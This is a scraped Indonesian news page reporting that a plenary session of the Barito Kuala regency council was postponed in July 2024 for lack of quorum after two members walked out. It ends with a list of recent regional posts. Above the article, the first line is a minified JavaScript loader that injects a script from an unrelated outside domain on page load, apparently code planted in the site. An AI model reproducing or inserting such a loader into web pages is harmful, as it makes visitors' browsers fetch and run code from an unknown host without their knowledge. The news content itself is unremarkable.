(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BARITO KUALA

Tidak Memenuhi Kuorum, Rapat Paripurna DPRD Batola Ditunda


KANALKALIMANTAN.COM, MARABAHAN- Rapat Paripurna DPRD Kabupaten Barito Kuala ke-16 masa sidang III tahun 2023-2024 yang dijadwalkan untuk membahas penetapan perubahan program pembentukan peraturan daerah serta penandatanganan berita acara persetujuan bersama terkait Raperda pertanggungjawaban APBD 2023, terpaksa ditunda.

Rapat yang digelar pada Selasa (16/07/2024) itu gagal memenuhi kuorum karena hanya dihadiri 22 dari 35 anggota DPRD, sementara kuorum membutuhkan kehadiran 24 anggota. Rapat dihadiri oleh Penjabat (Pj) Bupati Batola, Sekda, Kapolres, Dandim, Kejari, perwakilan Pengadilan, serta sejumlah pejabat daerah lainnya.

Pada awalnya, rapat dilaporkan bisa dimulai karena jumlah anggota yang hadir dianggap cukup. Namun, saat rapat berjalan, dua anggota DPRD menyampaikan interupsi dan kemudian meninggalkan ruang sidang (walkout).

Ketua DPRD Batola, Saleh, kemudian memutuskan untuk menunda rapat setelah berdiskusi dan melakukan skorsing selama 15 menit dalam rapat tertutup yang juga diikuti oleh Pj Bupati.

Saleh menjelaskan bahwa penundaan rapat dilakukan sesuai dengan Tata Tertib DPRD Batola, khususnya Pasal 121, yang mengatur tentang kuorum rapat. Menurut aturan, jika jumlah anggota yang hadir tidak memenuhi kuorum, pimpinan rapat dapat melakukan skorsing hingga dua kali dengan jeda 60 menit.

Jika setelah itu kuorum masih belum tercapai, rapat harus ditunda selama 3×24 jam atau menunggu keputusan Badan Musyawarah (Banmus). Sementara itu, Pj Bupati Batola, Mujiyat, menolak diwawancarai sejumlah wartawan usai rapat. Dikawal Kasatpol PP dan Kepala BP2RD, Mujiyat langsung meninggalkan lokasi rapat menggunakan lift tanpa memberikan pernyataan kepada media.

Ketua DPRD Saleh menegaskan bahwa rapat akan dijadwalkan ulang setelah hasil dari Banmus diumumkan.(kanalkalimantan.com/adv)

Reporter: adv
Editor: rdy


Muhammad Andi

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

12 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

13 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

14 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

15 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

16 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

16 jam ago

This website uses cookies.